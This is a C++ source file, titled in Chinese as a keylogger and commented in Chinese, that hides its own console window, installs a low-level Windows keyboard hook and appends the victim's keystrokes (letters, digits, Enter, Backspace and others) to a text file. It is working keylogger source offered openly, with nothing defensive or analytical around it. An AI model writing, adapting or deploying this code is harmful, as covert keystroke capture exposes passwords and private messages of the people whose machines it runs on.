C++键盘记录器

#include <windows.h>
#include<iostream>
#include <stdio.h>
#include <conio.h>
#include <fstream>  
#include<string>
using namespace std;

HHOOK keyboardHook = 0;		// 钩子句柄

LRESULT CALLBACK LowLevelKeyboardProc(
	_In_ int nCode,		// 规定钩子如何处理消息，小于 0 则直接 CallNextHookEx
	_In_ WPARAM wParam,	// 消息类型
	_In_ LPARAM lParam	// 指向某个结构体的指针，这里是 KBDLLHOOKSTRUCT（低级键盘输入事件）
) {
	KBDLLHOOKSTRUCT* ks = (KBDLLHOOKSTRUCT*)lParam;		// 包含低级键盘输入事件信息
	/*
	typedef struct tagKBDLLHOOKSTRUCT {
		DWORD     vkCode;		// 按键代号
		DWORD     scanCode;		// 硬件扫描代号，同 vkCode 也可以作为按键的代号。
		DWORD     flags;		// 事件类型，一般按键按下为 0 抬起为 128。
		DWORD     time;			// 消息时间戳
		ULONG_PTR dwExtraInfo;	// 消息附加信息，一般为 0。
	}KBDLLHOOKSTRUCT,*LPKBDLLHOOKSTRUCT,*PKBDLLHOOKSTRUCT;
	*/
	std::ofstream outfile("example.txt", std::ios::app);
	if (ks->flags == 128 || ks->flags == 129)
	{
		// 监控键盘
		std::string str;
		switch (ks->vkCode) {
		case 0x30: case 0x60:
			str = "0";
			break;
		case 0x31: case 0x61:
			str = "1";
			break;
		case 0x32: case 0x62:
			str = "2";
			break;
		case 0x33: case 0x63:
			str = "3";
			break;
		case 0x34: case 0x64:
			str = "4";
			break;
		case 0x35: case 0x65:
			str = "5";
			break;
		case 0x36: case 0x66:
			str = "6";
			break;
		case 0x37: case 0x67:
			str = "7";
			break;
		case 0x38: case 0x68:
			str = "8";
			break;
		case 0x39: case 0x69:
			str = "9";
			break;
		case 0x41:
			str = "A";
			break;
		case 0x42:
			str = "B";
			break;
		case 0x43:
			str = "C";
			break;
		case 0x44:
			str = "D";
			break;
		case 0x45:
			str = "E";
			break;
		case 0x46:
			str = "F";
			break;
		case 0x47:
			str = "G";
			break;
		case 0x48:
			str = "H";
			break;
		case 0x49:
			str = "I";
			break;
		case 0x4A:
			str = "J";
			break;
		case 0x4B:
			str = "K";
			break;
		case 0x4C:
			str = "L";
			break;
		case 0x4D:
			str = "M";
			break;
		case 0x4E:
			str = "N";
			break;
		case 0x4F:
			str = "O";
			break;
		case 0x50:
			str = "P";
			break;
		case 0x51:
			str = "Q";
			break;
		case 0x52:
			str = "R";
			break;
		case 0x53:
			str = "S";
			break;
		case 0x54:
			str = "T";
			break;
		case 0x55:
			str = "U";
			break;
		case 0x56:
			str = "V";
			break;
		case 0x57:
			str = "W";
			break;
		case 0x58:
			str = "X";
			break;
		case 0x59:
			str = "Y";
			break;
		case 0x5A:
			str = "Z";
			break;
		case 0x6A:
			str = "*";
			break;
		case 0x6B:
			str = "+";
			break;
		case 0x6D:
			str = "-";
			break;
		case 0x6E:
			str = ".";
			break;
		case 0x6F:
			str = "/";
			break;
		case 0x0D:
			str = "Enter";
			break;
		case 0xA0: case 0xA1:
			str = "Shift";
			break;
		case 0x08:
			str = "Backspace";
			break;
		case 0x20:
			str = "Space";
			break;
		}
		if (!outfile.is_open()) {
			std::cerr << "无法打开文件" << std::endl;
			return 1;
		}

		// 将字符串写入文件  
		outfile << str;

		// 关闭文件  
		outfile.close();
		//return 1;		// 使按键失效
	}

	// 将消息传递给钩子链中的下一个钩子
	return CallNextHookEx(NULL, nCode, wParam, lParam);
}

int main()
{
	// 安装钩子

	HWND hwnd = GetForegroundWindow();
	if (hwnd) {
		ShowWindow(hwnd, SW_HIDE);
	}

	keyboardHook = SetWindowsHookEx(
		WH_KEYBOARD_LL,			// 钩子类型，WH_KEYBOARD_LL 为键盘钩子
		LowLevelKeyboardProc,	// 指向钩子函数的指针
		GetModuleHandleA(NULL),	// Dll 句柄
		NULL
	);
	if (keyboardHook == 0) { cout << "挂钩键盘失败" << endl; return -1; }

	//不可漏掉消息处理，不然程序会卡死
	MSG msg;
	while (1)
	{
		// 如果消息队列中有消息
		if (PeekMessageA(
			&msg,		// MSG 接收这个消息
			NULL,		// 检测消息的窗口句柄，NULL：检索当前线程所有窗口消息
			NULL,		// 检查消息范围中第一个消息的值，NULL：检查所有消息（必须和下面的同时为NULL）
			NULL,		// 检查消息范围中最后一个消息的值，NULL：检查所有消息（必须和上面的同时为NULL）
			PM_REMOVE	// 处理消息的方式，PM_REMOVE：处理后将消息从队列中删除
		)) {
			// 把按键消息传递给字符消息
			TranslateMessage(&msg);

			// 将消息分派给窗口程序
			DispatchMessageW(&msg);
		}
		else
			Sleep(0);    //避免CPU全负载运行
	}
	// 删除钩子
	UnhookWindowsHookEx(keyboardHook);

	return 0;
}